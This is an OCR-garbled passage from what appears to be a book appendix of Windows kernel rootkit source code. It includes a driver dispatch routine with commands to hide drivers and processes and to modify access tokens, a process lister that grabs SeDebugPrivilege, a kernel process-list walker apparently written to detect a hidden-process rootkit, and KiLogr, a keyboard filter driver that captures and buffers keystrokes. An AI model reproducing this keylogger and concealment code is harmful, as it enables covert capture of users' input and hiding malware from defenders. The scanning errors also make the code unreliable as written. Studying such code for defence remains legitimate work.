//get a pointer to the caller ' s stack location in the given IRP / /This is where the function codes and other parameters are located irpStack IoGetCurrentlrpStackLocation(pIRP); inputBufferLength (*irpStack) . Parameters . DeviceloControl. InputBufferLength; output Buffer Length (*irpStack) . Parameters . DeviceloControl .OUtputBufferLength; ioctrlcode (*irpStack) . Parameters. DeviceloControl. IoControlCode ; DbgMsg( "dispatchIOControl", "Received a conmand") ; if(! isOSSupported( { DbgMsg("dispatchIOControl", "Platform not supported, conmand dismissed"); IoCompleteRequest (pIRP ,10_NO_INCREMENT) ; return( ntStatus) ; switch (ioctr lcode) { case IOCTL_LIST_TASK : { DbgMsg( "dispatchIOControl" , "Listing Tasks"); ListTasks (); }break; case IOCTL_LIST_DRVR : { DbgMsg( "dispatchIOControl", "Listing Drivers"); ListDri vers () ; }break; case IOCTL_HIDE_DRVR: { DbgMsg("dispatchIOControl", "Hiding Driver"); HideDri ver( (UCHAR*) input Buffer ) ; }break; case IOCTL_HIDE_TASK : { DbgMsg( "dispatchIOControl ", "Hiding Task"); HideTask( ([)Io.QRD* )inputBuffer); }break; case IOCTL_I'OD_TOKEN : { DbgMsg("dispatchIOControl", "Modifying Token"); ModifyToken ( ([)Io.QRD*) input Buffer ) ; }break; default : { DbgMsg( "dispatchIOControl" , "control code not recognized " ); }break; IoCompleteRequest(pIRP, IO_NO_INCREMENT); return (ntStatus) ; V *end dispatchIOControl() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - -- - - - - -*/
- -
- --- -
/ / - - - - - - -- - - -- - - - - -- - - - -- - - - - - - - - - - - -- -- --- ------ - - --- ----- - - - - - - - - - - -- - - - - -- -NTSTATUS RegisterDriverDeviceName(IN PDRIVER_OBJECT DriverObject) { NTSTATUS ntStatus; UNICODE_STRING unicodeString; RtlIni tUnicodeString( &unicodeString, DeviceNameBuffer) ; ntStatus = IoCreateDevice
832
Appen di x
e,
e,
DriverObject,
&unicodeString, FILE_DEVICE_RK,
TRUE, &MSNetDiagDeviceObject
NTSTATUS RegisterDriverDeviceLinkO { NTSTATUS ntStatus; UNICODE_STRING unicodeString ; UNICODE_STRING unicodeLinkString; RtlInitUnicodeString( &unicodeString, DeviceNameBuffer) ; RtlIni tUnicodeString( &unicodeLinkString, DeviceLinkBuffer); ntStatus
(
=
IoCreateSymbolicLink
&unicodeLinkString, &unicodeString
);
PDEVICE_OBJECT UNICODE_STRING
deviceObj ; unicodeString;
DbgMsg( "OnUnload ", "Received signal to unload the driver") ; deviceObj = (*DriverObject) . DeviceObject ; if(deviceObj! = NULL) { I I delete symbolic link DbgMsg( "OnUnload", "Unregistering driver's symbolic link"); RtlIni tUnicodeString(&unicodeString, DeviceLinkBuffer); IoDeleteSymbolicLink(&unicodeString) ;
Ii delete device object DbgMsg( "OnUnload", "Un registering driver's device name"); IoDeleteDevice( (*Dri verObject) . DeviceObject) ;
}
}/*end OnUnload( ) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - -- - - - - -- - - - - - - - - - - - -* I
NTSTATUS DriverEntry
(
Appendix I 833
Appendix I Chapter 7
DbgMsg("Driver Entry","Driver is loading------------------------------"); ntStatus = RegisterDriverDeviceName(pDriverObject); if( !NT_SUCCESS(ntStatus { DbgMsg( "Driver Entry", "Failed to create device") ; return(ntStatus) ;
ntStatus = RegisterDriverDeviceLinkO; if( !NT_SUCCESS(ntStatus { DbgMsg( "Driver Entry", "Failed to create symbolic link"); return ( ntStatus) ;
for(i =8; i<IRP_MJ_MAXII'IJMJUNCTION;i++) { ( *pDriverDbject) . MajorFunction[ij = defaultDispatch; ( *pDriverDbject) .MajorFunction[IRP_MJ_DEVICE_CONTROLj ( *pDriverDbject) . DriverUnload = OnUnload ;
dispatchIOControl;
Proied: TaskLister
Files: llisler.c
/* 11 I I I I I I I I I I II I I I III I I I I I I I I I I III I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I III
+ tlister . c +
+ +
++++++++++++++++++++++++++++++++++++++++++++ I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I 1*/
II System includes - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - #include<stdio. h> #include<windows . h> #include<Psapi. h> #include <Tlhelp32. h>
Ilapplication-specific includes- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - -#include "types. h"
I Imacros - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - -#define #define #define #define MIN]ID 8x8 MAX]ID 8x4E1C PID_ INC 8x4 SZ_IMAGE_NAME
11- -- --- --- - ---------------- - ------ - ------ - -------- - - - -- - ---------------- ----- I I [PIDB Routines j - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - --
834 I Appendix
Project: TaskLister
/ / - - -- - - --- - - -- - - - - - - - - - - - - - - - - - - - - - - --- - - - --- - - - - -- - - - - - -- - - - - -- -- - --------- -BOOL SetPri vilege ( HANDLE tokHandle, LPCTSTR privilege, BOOL enablePri v
TOKEN]RIVILEGES tokPrivNew; TOKEN_PRIVILEGES tokPrivOld; LUID luid; D\oK)RD nPrivBytes=sizeof(TOKEN_PRIVILEGES); BOOL isValid; isValid = LookupPrivilegeValue( NULL, privilege, &luid); if(! isValid){ return FALSE; } / / get current settings (init all attributes to "off") tokPrivNew . PrivilegeCount = 1; tokPrivNew.Privileges[ej. Luid = luid; tokPrivNew . Privileges[ej.Attributes = e;
/.
If DisableAllPrivileges == FALSE Mod privileges based on the information pointed to by NewState
./
AdjustTokenPrivileges
(
/ /HANDLE TokenHandle / /BOOL DisableAllPrivileges / /PTOKEN_PRIVILEGES NewState / /D\oK)RD BufferLength / /PTOKEN_PRIVILEGES PreviousState / /PD\oK)RD ReturnLength
/ /set privilege based on previous setting tokPrivOld . PrivilegeCount 1; tokPrivOld. Privileges[ej. Luid luid; if (enablePri v) { tokPrivOld . Privileges[ej . Attributes : = (SE]RIVILEGE_ENABLED); } else { tokPrivOld . Privileges[ej.Attributes A_ (SE_PRIVI LEGE_ENABLED & tokPri vOId . Privileges [e j . Attributes) ;
AdjustTokenPrivileges ( tokHandle, FALSE , &tokPri vOId, nPri vBytes, NULL, NULL ); if(GeUastError() != ERROR_SUCCESS){ return FALSE; } return(TRUE) ; }/'end SetPrivilege() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - _. /
Appendix 1835
Appendix / Chapter 7
/*
Does not display : System Idle Process (pid=8) SYSTEM Process (pid=4) One thread per CPU to account for idle time Kernel-Mode system threads
*/
void PIDBruteForce() { Dl\QRD pid; HANDLE procHandle; HANDLE tokHandle; Dl\QRD nProc; BOOL isValid; / /most of the work done is getting the SeDebugPrivilege privilege isValid = OpenThreadToken ( / /HANDLE ThreadHandle GetCurrentThread ( ) , //DI\QRD DesiredAccess TOKEN_ADJUST]RIVILEGES TOKEN_QUERY, //BOOL OpenAsSelf FALSE, / /PHANOLE TokenHandle &tokHandle );
/ /if not able to acquire thread access token, need to take further steps if(! isValid)
{
i f(GetLastError( )==ERROR_NO_TOKEN) { / /obtains access token that impersonates the security context of calling process isValid = ImpersonateSelf(SecurityImpersonation); if (! isValid) { printf( "ImpersonateSelf() failed\n");
return;
} isValid = OpenThreadToken
(
TOKEN_QUERY,
return;
else { printf( "OpenThreadToken() failed\n");
return;
/ /set SeDebugPrivilege privilege in access token isValid = SetPrivilege(tokHandle, SE_DEBUG_NAME , TRUE); if(! isValid)
{
return;
//now we're ready for a PID Brute Force approach for(pid=MIN]ID, nProc=8; pid<=MAX]ID; pid=pid+PID_INC)
836
A pen di X p
Project: Tasklister
procHandle = Open Process ( PROCESS_All_ACCESS, / /DWORD dI.OesiredAccess TRUE, / /BOOl bInheritHandle pid / /DWORD dwProcessId ); if(procHandle! =NUll) { BYTE buffer[SZ_IMAGE_NAME); DWORD retSize; retSize = GetModuleBaseNameA
(
procHandle, / /HANDlE hProcess NULL, / /l+'OOUlE hModule buffer, / /lPTSTR lpBaseName SZ_IMAGE_NAME / /DWORD nSize ); printf("pid[%94d) = %s\n",pid,buffer); CloseHandle( procHandle) ;
nProc++j
return;
}/*end PIDBruteForce() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -* /
- ------------ -----/ / -- - - - --- - - -- - - - - - - - - - --- - -- - - - - - - - - - - - - - -- - - - - - -- - - - - - - - - - - -- - - - - -- - - - - - - ---/ / - - -- - - -- - - --- - - - -- - - - - -- - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - / / [API Enumeration Routines)- - - - - - - - - - - - - - - - - - - - - -- - - - - -- - - - - - - - - - - - - - - - - - - - - -void snapShotList() { HANDLE snapShotHandle; PROCESSENTRY32 procEntry; BOOl isValid; DWORD nProc; snapShotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 8); if(snapShotHandle == INVALID_HANDLE_VALUE) { printf( "CreateToolhelp32Snapshot() failed\n");
return ;
procEntry . dwSize = sizeof(PROCESSENTRY32); isValid = Process32First(snapShotHandle,&procEntry); if(! isValid) { printf( "Process32First() failed\n"); CloseHandle(snapShotHandle) ;
return ;
nProc=8; do { printf( "pid [%94d) = %5\n", procEntry. th32ProcessID, procEntry. szExeFile);
nProc++j
return;
Append ix 1837
Appendix / Chapter 7
}/*end snapShotList() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* / void ListThreadsByPID(DWORD pid) { HANDLE snapShotHandle; THREADENTRY32 threadEntry; BOOL isValid; snapShotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); if(snapShotHandle == INVALID_HANDLE_VALUE) { printf( "CreateToolhelp32Snapshot() failed\n");
return;
threadEntry.dwSize = sizeof(THREADENTRY32); isValid = Thread32First(snapShotHandle, &threadEntry); if(! isValid) { printf("Thread32First() failed\n"); CloseHandle(snapShotHandle) ; return;
do { if(threadEntry. th320WnerProcessID == pid) { DWORD tid; tid = threadEntry. th32ThreadID; printf( "Tid = 0x%eBX, %u\n", tid, tid); } }while(Thread32Next(snapShotHandle, &threadEntry; CloseHandle (snapShotHandle) ; return; }/*end ListThreadsByPID() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* /
--
void main() { PIDBruteForce ( ) ; printf("\n++++++++IIIIIIIIIIIIII+++++++++++++\n\n"); snapShotList() ; printf (" \n+++++++++++++ I I I I I I I I I I IH+++++++++ \ n \n" ) ; ListThreadsByPID( 584) ; return;
Proied: findFU
Files: kmd.c
/*- - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - --+
kmd.c
838
Appendix
Projed: findFU
-- - - -- - - - -- - - -- - - - -- - - - - -- - - - - - -- - - - - - -- - - - - -- - - - - -- - - - - - -- - - - - -- - - - - -- - - - - - -'I
IISystem-Wide includes- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - -#include "ntddk. h " IIRootki t COITITIOn includes - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - --- - - - -- - - - -#include "types . h "
11KJ1)-Speci fic includes- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - -- - - - - -- - - - --#include "dbgmsg . COO 11 - - - -- - - - -- - - - - -- - - - -- - - - - - -- - - - - -- - - - - -- - - - - -- - - - - - -- - - - -- - - - - -- - - - - -- - - - - -- I I [Utility Functions]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- - - - - - -- - - - - - -11- - -- - - - -- - - - -- - - - -- - - - - -- - - - - - - -- - - - -- - - - - - - -- - - - -- - - - - -- - - - - -- - - - - - -- - - - - -- BYTE ' getNextEntry(BYTE ' current, DI<oORO offset) { BYTE ' next = NULL; = NULL; BYTE ' fLink LIST_ENTRY listEntry; listEntry = ' LIST_ENTRY' )(current + offset; flink = (BYTE ' )(listEntry . Flink); next = (flink - offset); return(next) ; }/' end getNextPEP() - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - --- - -'I UCHAR* getPreviousEntry(BYTE* current, DI<oORO offset)
{
BYTE * previous BYTE * blink LIST_ENTRY listEntry;
= NULL; = NULL;
listEntry = * LIST_ENTRY* )(current + offset; bLink = (BYTE * )(listEntry . Blink); previous = (blink - offset); return (previous) ; }/*end getPreviousPEP() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - --- - - -*1
11- - - - -- - - - -- - - - -- - - - -- - - - - - -- - - - - - -- - - -- -- - - - - -- - - - -- - - - - - -- - - - - -- - - - - -- - - - --II[list Threads in Current Process]- -- ------ -- ---- - ---------------------------11----- ------- -- ---- - - -------------------------------- ------------------------#define #define #define #define #define EPROCESS_OFFSET]ID EPROCESS_OFFSET_LINKS EPROCESS_OFFSET_NAME EPROCESS_OFFSET_ THREAD LIST SZ_EPROCESS_NAME 0xe9C 0x0A0 0xl4C 0x168 0x010
Iloffset to PID (D\<.ORO) Iloffset to EPROCESS LIST ENTRY Iloffset to name[16] Iloffset to ETHREAD LIST_ENTRY
1116 bytes
{
DI<oORO pid; IIProcess ID DI<oORO tid; IIThread ID . }CIO, *PCID; #define OFFSET_KTHREAD_LISTENTRY #define OFFSET_THREAD_CID #define OFFSET_ THREAD_lISTENTRY CID getCID(BYTE * current) 0x1C4 0x2OC 0x248
{
PCIO pcid; CID cid;
Appendix
I 839
Appendix / Chapter 7
pcid = (PCID)(current+<lFFSET_THREAD_CID); cid = 'pcid; return(cid); }/'end getCID() - - - - - - - - - - - - - - - - - -- - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - _. / void getTaskName(char ' dest, char ' src) { strncpy( dest , src, SZ_EPROCESS_NAME); dest[SZ_EPROCESS_NAME-1]=' \0' ;
return ;
}/'end getTaskName() - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - -- - - - _. / int getEprocPID(BYTE' currentPEP) { intO pid ; pid = (int ' )(currentPEP+EPROCESS_OFFSET]ID); return ('pid) ; }/'end getPID() - - -- - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- - - - - - - - - - - - - - - - - - - -- - - - -- - - -' / BYTE ' getEPROCESS(OI..oRD pid) { = NULL; BYTE ' currentPEP BYTE ' nextPEP = NULL; int currentPID = 0; int startPID = 0; BYTE name(SZ_EPROCESS_NAME]; / f use the following variables to prevent infinite loops int fuse = 0; const int BLCJ.o.IN = 104B576; / /get the current EPROCESS block currentPEP = (BYTE')PsGetCurrentProcessO; currentPID = getEprocPID( currentPEP) ; getTaskName (name, (currentPEP+EPROCESS_OFFSET_NAME) ) ; startPID = currentPID; DBG]RINT3( .. getEPROCESS 0: %5 [PID(%d)]: \n" , name, currentPID) ; if(startPID== pid) { r eturn (currentPEP) ;
/ / get the next EPROCESS block nextPEP = getNextEntry(currentPEP, EPROCESS_OFFSET_LINKS); currentPEP = nextPEP; currentPID = getEprocPID( currentPEP) ; getTaskName(name, (currentPEP+EPROCESS_OFFSET_NAME; while (startPID ! = currentPID) { DBG]RINT3 ( .. getEPROCESS 0 : %5 [PID(%d)] : \n" ,name, currentPID) ; if(currentPID==pid) { return( currentPEP);
ne xtPEP = getNextEntry( currentPEP , EPROCESS_OFFSET_LINKS); currentPEP = next PEP ; currentPID = getEprocPID( currentPEP); getTaskName(name, (currentPEP+EPROCESS_OFFSET_NAME;
fuse++; i f( fuse==BLCJ.o.IN)
840
A pen di X p
Project: findFU
ObgMsg("getEPROCESS","--BAM!--, just blew a fuse"); return(NULL); _ } return(NULL) ; }!*end getEPROCESS() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - -* / void ListTids(BYTE* eprocess) { PETHREAD thread; DWORO* flink; DWORO flinkValue; BYTE* start; BYTE* address; CID cid; flink = (DWORO*)(eprocess + EPROCESS_OFFSET_THREADLIST); flinkValue = *flink; thread = (PETHREAD) (BYTE*)flinkValue) - OFFSET_THREAD_LISTENTRY); address = (BYTE*)thread; start = address; cid = getCIO( address); OBG_PRINT4( "ListTids(): [%04x] [%04x,%u]" ,cid. pid,cid. tid,cid. tid); address = getNextEntry( address, OFFSET_KTHREAD_LISTENTRY); while(address! =start) { cid = getCID( address); OBG_PRINT4( "ListTids(): [%04x] [%04x,%u)"" cid.pid, cid. tid, cid. tid); address = getNextEntry(address,OFFSET_KTHREAD_LISTENTRY);
return;
}/*end ListThreads() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - -* /
/ / - - -- - - - - - - - -- - - - - -
DWORO getPID(BYTE* current) { DWORO *pidptr; DWORO pid; pidPtr = (DWORO*)( current+OFFSET_HANO LE]ID) ; pid = *pidptr; return (pid) ; }/*end getPID() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* / void traverseHandles () { PEPROCESS process; BYTE* start; BYTE* address; DWORO pid; DWORO nProc; process PsGetCurrentProcess(); address (BYTE*)process; address address + OFFSET_EPROCESS_HANOLETABLE; / /field at this address stores address of handle table start = (BYTE*)(*DWORO*)address)); pid = getPID(start);
Appendix
I 841
Appendix I Chapter 7
DBG]RINT2("traverseHandles(): [%e4d] " ,pid}; nProc=l; address = getNextEntry(start,OFFSET_HANDLE_LISTENTRY}; while(address! =start} { pid = getPID(address}; DBG_PRINT2( "traverseHandles (): [%e4d]", pid};
nProc++j
address = getNextEntry( address, OFFSET_HANDLE_LISTENTRY}; } DBG_PRINT2("traverseHandles(): Number of Processes=%d", nProc}; return; }/*e nd traverseHandles(} - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* I
11------- ----------- -------- -------- ---------- -------- ------------------------I I [Driver Routines]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - -11---------- -------- -------- -------------------------- ------------------------NTSTATUS defaultDispatch
(
IN PDEVICE_OBJECT IN PIRP
pDeviceObject, pIRP
*pI RP ) . IoStatus) . Status = STATUS_SUCCESS; *pIRP). IoStatus}. Information = 0; IoCompleteRequest(pIRP, IO_NO_INCREMENT}; retur n(STATUS_SUCCESS} ; }/*e nd defaul tDispatch(} - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* I VOID OnUnload(IN PDRIVER_OBJECT DriverObject} { DbgMsg("OnUnload", "Received signal to unload the driver"}; DbgMsg( "OnUnload", "Driver clean -up completed- - - - - - - - - - - - - - - - - - - - -- - - - -"}; return; } /* end OnUnload(} - ---- - - - ---- - - ----- - - ----- - ------ - ----- -- --- - - -- -- - - ---- - ---*1 NTSTATUS DriverEntry
(
i nt i j NTSTATUS ntStatus;
DbgMsg( "Driver Entry", "Driver is loading- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -"); for(i=0; i <IRP_MJ_MAXlr-uMJUNCTION; i++} { (* pDriverObject) .MajorFunction[i] = defaultDispatch ; } ( *pDriverObject) . DriverUnload = OnUnload; traverseHandles(} ; DBG_TRACE("DriverEntry", "+++++++++11111111111111++++++++"); ListTids(getEPROCESS( 4}}; DbgMsg( "Driver Entry", "DriverEntry() is done"}; return(STATUS_SUCCESS} ; }/ *e nd DriverEntry(} - - ---- - - ---- - - - ---- - - ------ --- --- - ------ - ------ --- --- - ---*1
8421 Appendix
Project: Kilogr-VOI
Chapter 8
Proied: IiLogr-VOl
Files: Kilogr.c
1*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- --+
KiLogr.c
I
I I I
(for PS/2)
I
I
I 1- - - - -- - - - -- - - -- - - - - - -- - - - - -- - - - -- - - - - -- -- - - - -- - - - - -- - - - - - -- - - - - -- - - - - -- - - - - -I I Globals- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -11------------------ ---- --- -------------- ---- --- -- ---- ------------------- -----IIExisting top of the device stack (see IoAttachDevice( PDEVICE_OBJECT deviceTopOfChain; IINumber of IRPs to be completed DWORD nIrpsToComplete=0;
I 1- -------------------------------- ------------------------ ------ -------------NTSTATUS Completion Routine ( IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp, IN PVOID Context
NTSTATUS ntStatus; PKEYBOARD_INPUT_DATA keys; llDocumented in DDK DWORD nKeys; DWORD i ; ntStatus = (*pIrp) . IoStatus . Status; i f( ntStatus==STATUS_SUCCESS) { keys = (PKEYBOARD_INPUT_DATA)( (*pIrp) . AssociatedIrp) .SystemBuffer; nKeys = *pIrp) . IoStatus).Information I sizeof(KEYBOARD_INPUT_DATA); for(i = 0; i<nKeys; i++) { KEY_BREAK)&&(keys(i] . MakeCode < SZ_TABLE ifkeys[i]. Flags { DBG]RINT3
Appendix 1843
Appendix / Chapter 8
" [Completion Routine] : ScanCode: % [%d][ Released] \n " , s table [keys [i]. MakeCode], keys[i].MakeCode
);
" [CompletionRoutine] : ScanCode: % [%d][Pressed] \n ", s table [keys [i] . MakeCode] , keys[i] . MakeCode
);
IRP if the IRP indicates that this is required if *pIrp) . PendingReturned) { IoMarkIrpPendi ng(pIrp) ;
Ilmark
I lwe've completed an IRP, can take it off our list nIrpsToComplete = nIrpsToComplete-l; DBG]RINT2(" [CompletionRoutine] : nIrpsToComplete=%d", nIrpsToComplete); return (ntStatus) ; }/*end CompletionRoutine() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - * I
IITOC - Top -Of -Chain CCHAR TOCNameBuffer[128] = "\ \Device\ \KeyboardClass0 "; STRING TOCNameString; UNICODE_STRING TOCNameUnicodeString ;
DbgMsg("InsertDriver", " Initiating driver insertion") ;
I ISee "Creating the Filter Device Object " in DDK Docs ntStatus = IoCreateDevice ( pDriverObject, I l IN PDRIVER_OBJECT DriverObject 0, I l IN ULONG DeviceExtensionSize NULL , IIIN PUNICODE_STRING DeviceName OPTIONAL FILE_DEVICE_KEYBOARD, I /IN DEVICE_TYPE DeviceType I/IN ULONG DeviceCharacteristics 0, TRUE, I l IN BOOLEAN Exclusive &newDeviceObject I l OUT PDEVICE_OBJECT *DeviceObject ); if(! NT_SUCCESS(ntStatus { DbgMsg("InsertDriver" , "IoCreateDevice() failed"); return(ntStatus) ;
( *newDeviceObject) . Flags = ( *newDeviceObject). Flags : (DO_BUFFERED_IO : DO_PGlER]AGABLE); ( *newDeviceObject) . Flags = ( *newDeviceObject) . Flags & -!Xl_DEVICE_INITIALIZING;
844
Appendix
Project: Kilogr-VOl
Rtllni tAnsiString(&TOCNameString , TOCNameBuffer); RtlAnsiStringToUnicodeString(&TOCNameUnicodeString,&TOCNameStr ing, TRUE); ntStatus = IoAttachDevice ( newDeviceDbject, I lIN PDEVICE_OBJECT callerCreatedDevice &TOCNameUnicodeString, I lIN PUNICODE_STRING TopOfChainDeviceName I/OUT PDEVICE_OBJECT *TopOfChainptr &deviceTopOfChain ); if( !NT_SUCCESS(ntStatus { switch (ntStatus) { case(STATUS_INVALID]ARAMETER) : { DbgMsg( " InsertDriver ", "STATUS_INVALID_PARAMETER") ; }break; case (STATUS_OBJECT_TYPE_MISMATCH) : { DbgMsg( "InsertDriver", "STATUS_OBJECT_TYPE_MISMATCH"); }break; case(STATUS_OBJECT_NAME_INVALID) : { DbgMsg( "InsertDriver", "STATUS_OBJECT_NAME_INVALID"); }break; case(STATUS_ INSUFFICIENT_RESOURCES) : { DbgMsg( "InsertDriver", "STATUS_INSUFFICIENT_RESOURCES"); }break; default: { DbgMsg( "InsertDriver", "IoAttachDevice() failed for unknown reasons"); }; } return (ntStatus) ; } RtIFreeUnicodeString(&TOCNameUnicodeString) ; DbgMsg("InsertDriver", "Filter driver has been placed on top of the chain") ; return (STATUS_SUCCESS ); }/*end InsertDriver() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - -* /
-- - - - - ---- - - - ---
NTSTATUS ntStatus; DbgMsg( "defaultDispatch", "Passing IRP down to old top of device chain"); IoSkipCurrentIrpStackLocation(pIRP) ; ntStatus = IoCallDriver ( deviceTopOfChain, I lIN PDEVICE_OBJECT DeviceObject // IN OUT PIRP Irp pIRP ); return( ntStatus); }/*end defaul tDispatch() - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - --* / NTSTATUS Irp_MLRead
Appendix 1845
Appendix
I Chapter 8
NTSTATUS ntStatus ; PIO_STACK _LOCATION nexUoc; Il ini tialize the IRP stack location for the next driver (by copying over the current) nexUoc = IoGetNextIrpStackLocation(plrp) ; *nexUoc = *( IoGetCurrentIrpStackLocation(plrp; IoSetCompletionRoutine ( plrp , Complet ionRoutine, pDeviceObject , TRUE , TRUE, TRUE );
I/IN PIRP
Irp PIO_C(IPLETION_ROUTINE CompletionRoutine PVOID DriverDeterminedContext BOOLEAN InvokeOnSuccess BOOLEAN InvokeOnError BOOLEAN InvokeOnCancel
Ii now we've got yet another IRP to process with our completion routine nlrpsToComplete = nlrpsToComplete+1; DBG]RINT2(" [Irp_Mj_Read 1: Read request made, nlrpsToComplete=%d", nlrpsToComplete) ; Il pas s IRP down to old top of device chain ntStatus = IoCallDriver
(
deviceTopOfChain, plrp
);
I l IN PDEVICE_OBJECT DeviceObject
I /IN OUT PIRP
Irp
return(ntStatus) ;
}/* end Irp_M Read() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* I L 11- - -- - -------- - - - --- --------------------------------- -- - --- - - --- - - -----------l lMandatory Driver Routines - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - --
I 1----------------------------------------------------------------------------VOID OnUnload(IN PDRIVER_OBJECT DriverObject) { KTIMER timer; LARGE_INTEGER timeLimit; DbgMsg( "OnUnload", "Received signal to unload the driver " );
I I Detach calling driver's device object from specified device object IoDetachDevice( deviceTopOfChain);
DbgMsg( "OnUnload" , "Filter driver has detached from chain") ; DbgPrint( " [OnUnloadl : nlrpsToComplete = %d\n" ,nlrpsToComplete); K elni tializeTimer(&timer) ; timeLimit ,QuadPart = 1eeeeee; l/lee-nanosecond intervals = 0.1 s
Il loop until all of the registered IRPs have completed while(nlrpsToComplete > 0) { KeSetTime r
(
II IN PKTIMER Timer
); KeWai tForSingleObject
846
Appendix
Project: Kilogr-V02
IIIN
KPROCESSDR_MOOE
);
NTSTATUS ntStatus; DWORD i ; DbgMsg( "DriverEntry", "Driver is loading- - - - -- - - - - - - - - - - - - - - - - - - - - - - - -" ); for(i=0; i <IRP _MJ_MAXIru1JUNCTION; i++) { (*pDriverObject) .MajorFunction[i] = defaultDispatch; } (*pDriverObject) .MajorFunction[IRP_MJ_ READ] = Irp_Mj_Read; (*pDriverObject) . DriverUnload = OnUnload ; InsertDri ver( pOri verObject) ; DbgMsg(,'DriverEntry", "DriverEntry() completed without errors"); return(STATUS_SUCCESS) ; }/*end DriverEntry() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* I
Proied: KiLogr-V02
Files: SharedArray.c, WorkerThread.c, scancodes.h
1*- -- - - - -- - - -- - - - -- - - - -- - - - - -- - - - - - - -- - - - - -- - - - - - -- - - - - -- - - - - -- - - - - - -- - - - - -- --+
I I
:
I
SharedArray . c
I
---------------------------------------- -------------------------------------* I
#define SZ_ SHARED_ARRAY #define TRIGGER_ POINT #define ACTION_ADD #define ACTION_DMP 64 8 0 1
typedef struct _SHARED_ARRAY { KEYBOARD_INPUT_DATA buffer [SZ_SHARED_ARRAY] ; DWORD currentIndex ; K/'I.JTEX mutex; }SHARED_ARRAY, *PSHARED_ARRAY;
Appendix 1847
II
Appendix / Chapter 8
SHARED_ARRAY sharedArray; void i nitSharedArray() { sharedArray. currentIndex = a; Kelni tializeMutex(&( sharedArray. mutex), a); return; }/*e nd initSharedArray() - - -- --- - - ----- ----- - ----- - -- ---- - ------ ------ - ----- - -*1 BOOLEAN isBufferReady() { Iido n't need to synchronize read operations ( j ust when we modify) if(sharedArray. currentlndex >= TRIGGER_POINT){ ret urn(TRUE); } return(FALSE); }/*end isBufferReady() -- - - ------ - ----- - - ----- - ----- - ------ ------- ----- - - -----* I DWORD modArray ( DWORD action, KEYBOARD_INPUT_DATA *key, KEYBOARD_INPUT_DATA *de stination
Ilg rab the mutex ntStatus = KeWai tForSingleObject ( &(sharedArray,mutex), Executive) KernelMode, FALSE, NULL ); if(! NT_SUCCESS(ntStatus { DbgMsg( "modArray", "could not obtain mutex properly"); return(a) ; lido whatever it is we need to do
if (action==ACTION_ADD) { sharedArray.buffer[sharedArray.current l ndex ] = *key; sharedArray . currentlndex++; if(sharedArray.currentlndex>=SZ_SHARED_ARRAY) { s haredArray. c urrentI ndex=a;
} else if(action==ACTION_DMP) { DWORD i; i f( destination==NULL) { DbgMsg( "modArray " , "array that we're dumping to is NULL! ");
else { for( i=a; i<sharedArray. currentIndex; i++) { destination [i] = s haredArray. buffer [ i]; nElements = i ;
848
A pen di x p
Project: KiLogr-V02
